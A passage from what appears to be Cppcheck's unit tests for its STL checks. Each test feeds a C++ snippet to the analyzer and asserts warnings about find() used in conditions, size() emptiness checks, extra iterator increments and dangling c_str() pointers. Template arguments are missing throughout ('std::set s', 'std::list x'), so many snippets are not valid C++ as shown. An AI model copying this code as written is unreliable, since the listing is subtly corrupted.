}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of 